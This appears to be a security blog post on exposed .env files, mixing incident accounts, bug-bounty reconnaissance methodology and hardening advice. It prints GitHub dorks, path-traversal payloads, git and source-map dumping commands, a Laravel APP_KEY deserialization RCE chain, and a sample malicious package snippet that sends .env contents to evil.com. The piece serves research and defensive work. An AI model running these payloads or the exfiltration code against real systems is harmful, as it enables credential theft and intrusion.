The .env file is simultaneously one of the most convenient and most dangerous patterns in modern web development. The data is clear: over 12 million exposed files, 28 million credentials leaked on GitHub in 2025 alone, and 110,000 domains compromised in a single extortion campaign.
For bug bounty hunters, .env exposure remains one of the highest-impact, lowest-effort findings. The methodology is straightforward: subdomain enumeration, content discovery, GitHub dorking, and source map analysis. The payoff can be complete database access, cloud account takeover, or Remote Code Execution.
For developers and security teams, the solution requires a cultural shift: treat .env files as explosive devices, move secrets out of configuration files entirely, use short-lived credentials, block hidden files at the server level, and scan everything -- including AI-generated code -- before it reaches production.
Press enter or click to view image in full size
The .env file is the silent backbone of modern web application configuration. It stores environment variables in a simple KEY=VALUE format and is consumed by frameworks like Laravel, Django, Ruby on Rails, Symfony, and countless Node.js applications at startup. The problem is not the concept -- it is how these files are handled, deployed, and (mis)protected.
A typical .env file might contain:
DB_HOST=production-db.internal.corp.com
DB_DATABASE=main_production
DB_USERNAME=root
DB_PASSWORD=Str0ng!Passw0rd
APP_KEY=base64:abcdef1234567890abcdef1234567890
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
STRIPE_SECRET=sk_live_4eC39HqLyjWDarjtT1zdp7dc
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=secret
[email protected]
MAIL_PASSWORD=smtp_password_hereOne file. One misconfiguration. Total compromise.
In August 2024, Palo Alto Networks’ Unit 42 uncovered a massive cloud extortion campaign that directly exploited exposed .env files. The numbers are staggering:
.env filesThe attack chain was elegant and terrifying:
Scan — Automated internet-wide scanning using malicious AWS Lambda functions, iterating over millions of domains with
curlrequests tohttp://<target>/.envHarvest — Extract all environment variables from accessible
.envfilesEscalate — Use exposed IAM access keys to create new IAM roles with administrative permissions
Propagate — Deploy new Lambda functions to continue scanning from within the victim’s own cloud infrastructure
Exfiltrate — Steal data from S3 buckets and other cloud storage
Extort — Leave ransom notes threatening to sell the data on the dark web
Source: Unit 42 — Large-Scale Cloud Extortion Operation
Fast forward to February 2026: Security Affairs reported that researchers had identified over 12 million exposed .env files across the internet. The primary exposure vectors:
https://example.com/.env returns the entire file.COPY . . which includes .env in the image layers..env.bak, .env.old, .env.save, env.txt left in web-accessible directories..env file committed to source control, then the repo made public or accessed via exposed .git directories.Source: Infosec Writeups / Bug Bounty Program
A bug bounty hunter was conducting reconnaissance on a target and discovered a subdomain that appeared to be running Laravel. Using ffuf for content discovery, they ran a wordlist against the subdomain:
ffuf -u https://target-subdomain.azurewebsites.net/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txtThe scan returned a 200 OK for /.env -- but accessing it directly returned a 403 Forbidden. The hunter noticed something critical: the CNAME record pointed to *.azurewebsites.com, and while the main domain had restrictions, the underlying Azure-hosted subdomain did not.
By accessing the raw Azure endpoint URL, the .env file was fully readable, revealing:
DB_CONNECTION=mysql
DB_HOST=internal-db.mysql.database.azure.com
DB_PORT=3306
DB_DATABASE=production_db
DB_USERNAME=admin
DB_PASSWORD=P@ssw0rd!
MAIL_HOST=smtp.sendgrid.net
MAIL_USERNAME=apikey
MAIL_PASSWORD=SG.xxxxxxxxxxxxxxxxImpact: Database credentials + SMTP API key for SendGrid. With these, the hunter could have dumped the entire production database and sent phishing emails as the legitimate domain.
Source: Multiple researchers (Mogwai Labs, Ghostable, Stratosally)
This is one of the most dangerous exploitation chains in the Laravel ecosystem. The .env file contains APP_KEY, which is the cryptographic backbone of the entire Laravel application. It is used for encrypting cookies, session data, and serialized objects.
The vulnerability: Laravel’s Crypt::decrypt() function uses PHP's unserialize() under the hood. If an attacker has the APP_KEY, they can craft a malicious encrypted payload that, when decrypted, triggers PHP object injection leading to Remote Code Execution.
The exploitation chain:
.env file, or via GitHub dorking (filename:.env APP_KEY).phpggc) generates gadget chains for Laravel.# Clone phpggc
git clone https://github.com/ambionics/phpggc
cd phpggc# Generate a Laravel RCE gadget chain
php phpggc Laravel/RCE1 system 'id' --base64
3. Encrypt with the APP_KEY — The attacker encrypts the malicious payload using the stolen APP_KEY:
# Pseudocode for encrypting with the leaked APP_KEY
$payload = base64_decode('<phpggc_output>');
$key = base64_decode(substr('base64:abcdef1234567890abcdef1234567890', 7));
$iv = random_bytes(16);
$encrypted = openssl_encrypt($payload, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
$final = base64_encode($iv . $encrypted);4. Deliver the payload — Send the encrypted value as a Laravel session cookie or any other decrypted input.
5. RCE — Laravel decrypts the payload, PHP unserializes it, and the attacker’s command executes.
Real-world impact: In 2025, researchers found hundreds of Laravel APP_KEY values leaked on GitHub. Tools like phpggc make weaponization trivial. The attacker does not need SQL injection or file upload -- just one exposed .env file.
Source: Multiple bug bounty hunters
Advanced GitHub dorking is one of the most productive techniques for finding exposed .env files. The key operators:
# Find all .env files across all public repositories
filename:.env# Find .env files in a specific organization
org:targetcompany filename:.env
# Find .env files containing specific sensitive keys
filename:.env "AWS_ACCESS_KEY_ID"
filename:.env "DB_PASSWORD"
filename:.env "STRIPE_SECRET"
filename:.env "APP_KEY"
# Find .env files mentioning a specific domain
"target.com" filename:.env
# Combined: target company .env with API keys
org:targetcompany filename:.env ("API_KEY" OR "SECRET" OR "PASSWORD")
# Search for config files broadly
filename:.env "production" AND ("sk_live" OR "AKIA" OR "service_role")
Pro tip from hunters: Combine with extension: and path: operators:
# Search specific paths
path:config filename:.env
path:laravel filename:.env# Search for backup variants
filename:.env.bak
filename:.env.old
filename:.env.local
filename:.env.production
The Snyk 2025 State of Secrets Report revealed that 28 million credentials were leaked on GitHub in 2025 alone, with .env files being one of the top sources.
Source: Sentry Security Blog / Prodefense.io
A bug bounty hunter discovered that a target website had accidentally deployed JavaScript source maps to production. Source maps (.map files) are used during development to map minified JavaScript back to original source code for debugging.
The attacker used Sourcemapper (a tool that reconstructs original source from .map files):
# Install sourcemapper
pip install sourcemapper# Download and reconstruct source from an exposed source map
sourcemapper -url https://target.com/assets/js/app.js.map -output ./reconstructed/
Inside the reconstructed source code, the hunter found:
// Original source code exposed
const stripe = require('stripe');
const stripeClient = new stripe('sk_live_4eC39HqLyjWDarjtT1zdp7dc');// Internal API endpoints
const adminApi = 'https://internal-admin.target.com/api/v2/';
const deleteUserEndpoint = `${adminApi}users/delete/`;
Impact: The Stripe live secret key (starting with sk_live_) allowed the attacker to make unauthorized charges, refunds, and access all customer payment data. The exposed admin API endpoints opened the door for further exploitation.
Source: PortSwigger Web Security Academy / NCSC Switzerland
A production server had its .git directory publicly accessible. The .git folder contains the complete version control history of the project, including every file that was ever committed -- even files that were later deleted or whose secrets were "removed" in subsequent commits.
# Recursively download the entire .git directory from the live server
wget -r https://target.com/.git/# Check the Git log for secrets that were "removed"
git log -p | grep -E 'password|secret|key|token|AKIA'
The NCSC Switzerland audit found 1,300 affected systems in Switzerland alone where .git folders were publicly accessible, exposing source code, access data, and passwords.
Join Medium for free to get updates from this writer.
Real bug bounty example: A hunter found that a target’s .git directory was browsable. Running git log --diff revealed a commit message: "Remove admin password from config". The diff showed the previous version of the config file with the hardcoded admin password still in Git history:
git show <commit_hash>
# Output:
# - ADMIN_PASSWORD=SuperSecretPass123!
# + ADMIN_PASSWORD=${ADMIN_PASSWORD_ENV}The password was removed from the current file but remained forever in Git history. The hunter logged in as administrator and completely took over the application.
Before you can find exposed files, you need to know where to look.
# Passive enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass.txt
assetfinder --subs-only target.com >> subdomains.txt# Active enumeration
ffuf -u https://FUZZ.target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# Certificate Transparency
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u
# Combine and deduplicate
cat subdomains.txt | sort -u | httpx -silent -o live_hosts.txt
# Using ffuf for .env file discovery
ffuf -u https://target.com/FUZZ \
-w wordlist.txt \
-fc 403,404 \
-t 100# .env-specific wordlist
echo ".env
.env.bak
.env.old
.env.save
.env.local
.env.production
.env.development
env.txt
env
.env.example" > env_wordlist.txt
# Recursive discovery with feroxbuster
feroxbuster -u https://target.com \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \
-x env,txt,bak,old,swp,save,conf,config \
--depth 3 \
--silent
# Automated GitHub dorking with gitdorker
gitdorker -q target.com -tf ./tf/ -d ./Dorks/Alldorks.ndjson -o output# Manual targeted dorks
site:github.com target.com filename:.env
site:github.com target.com "DB_PASSWORD"
site:github.com target.com "sk_live_" "Stripe"
site:github.com target.com "AKIA" "AWS"
site:github.com "target" filename:".env" "APP_KEY"
# Check for source maps on live targets
cat live_hosts.txt | while read url; do
# Try common source map locations
curl -s -o /dev/null -w "%{http_code}" "$url/assets/js/app.js.map"
curl -s -o /dev/null -w "%{http_code}" "$url/static/js/main.js.map"
curl -s -o /dev/null -w "%{http_code}" "$url/build/static/js/main.js.map"
done# Reconstruct and grep for secrets
sourcemapper -url https://target.com/js/app.js.map -output ./recon/
grep -rni "sk_live\|AKIA\|password\|secret\|token" ./recon/
Sometimes .env files are not at the root but accessible through path traversal:
# Path traversal payloads
ffuf -u https://target.com/page.php?file=FUZZ \
-w traversal_wordlist.txt# Common traversal wordlist entries
../../../.env
..%252f..%252f..%252f.env
....//....//....//.env
..\;../..\;../.env
/static/../../../.env
Source maps (.map files) are JavaScript's hidden tell-all. They reconstruct minified code back to the original source, complete with comments, function names, and file structure.
What source maps can reveal:
# Check for common source map locations
curl -si https://target.com/static/js/main.abc123.js.map
curl -si https://target.com/assets/js/app.js.map
curl -si https://target.com/build/js/bundle.js.map# Parse source maps for secrets (Node.js)
npm install -g source-map-cli
curl -s https://target.com/js/app.js.map | source-map --raw | grep -E 'key|token|secret|password'
The .git directory is perhaps the most dangerous exposure because it contains the entire history of the project.
Tools for .git exploitation:
# git-dumper - downloads entire .git repo
git-dumper https://target.com/.git/ ./downloaded_repo/# GitTools - extract from exposed .git
git clone https://github.com/internetwache/GitTools
cd GitTools/Dumper
./gitdumper.sh https://target.com/.git/ ./repo/
cd GitTools/Extractor
./extractor.sh ./repo/ ./extracted/
# Search entire Git history for secrets
cd extracted
git log --all -p | grep -E '(password|secret|key|token|AKIA|sk_live)'
git log --all --diff-filter=D --summary | grep delete # Find deleted files
Developers frequently create backup files during maintenance:
# Common backup file extensions
.bak, .old, .orig, .copy, .tmp, .swp, .swo, .save, ~ (tilde)# Fuzzing for backup files
ffuf -u https://target.com/FUZZ \
-w backup_wordlist.txt
# Example wordlist entries
config.php.bak
.env.bak
database.php.old
wp-config.php~
index.php.swp
.env.save
Beyond .env, other config files often contain secrets:
# Common config files to hunt
config.json
config.php
config.js
settings.py
application.properties
application.yml
database.yml
credentials.json
service-account.json
wp-config.phpMalicious packages actively hunt for .env files during installation. Since npm install (and pip install, gem install, etc.) can execute arbitrary code, a compromised dependency can:
// Malicious package.js (hypothetical but based on real incidents)
const fs = require('fs');
const https = require('https');// Read .env file
const envContent = fs.readFileSync('.env', 'utf8');
// Exfiltrate to attacker server
https.get(`https://evil.com/exfil?data=${Buffer.from(envContent).toString('base64')}`);
Real incidents:
.env file contents were being sent to servers for tab completion, even when files were listed in .cursorignore# Apache
<FilesMatch "^\.">
Require all denied
</FilesMatch># Nginx
location ~ /\.(?!well-known) {
deny all;
return 404;
}// IIS
<system.webServer>
<security>
<requestFiltering>
<hiddenSegments>
<add segment=".env" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>2. Remove .env from web-accessible directories -- Move it outside the document root.
3. Implement CSP headers to restrict where scripts can load from.
4. Disable source maps in production builds:
// webpack.config.js
module.exports = {
// ...
devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',
};// vite.config.js
export default defineConfig({
build: {
sourcemap: process.env.NODE_ENV !== 'production',
},
});
// next.config.js
module.exports = {
productionBrowserSourceMaps: false,
};
.gitignore correctly and audit with git-secrets or trufflehog# .pre-commit-config.yaml
repos:
- repo: https://github.com/awslabs/git-secrets
rev: master
hooks:
- id: git-secrets4. Rotate secrets regularly — If a .env file might have been exposed, rotate every credential in it immediately.
5. Scanner automation — Integrate secret scanning into CI/CD pipelines:
# TruffleHog scan in CI
trufflehog filesystem --directory=. --json | jq '.'6. Use ephemeral credentials — Short-lived tokens (IAM roles, OAuth2 token exchange) instead of long-lived API keys.
/.env requests in access logsshhgit, trufflehog, git-secrets.env files that alert when usedThe rise of AI-assisted development — “vibe coding” — has introduced a new dimension to the .env crisis. Research from 2026 shows that AI-generated code frequently makes mistakes that expose secrets:
package.json files with packages that do not exist in the registry, creating opportunities for typosquatting attacksThe fix: Treat AI-generated code as untrusted input. Audit every file for secrets before deployment. Use automated scanners in CI/CD.
Press enter or click to view image in full size
GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent
#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming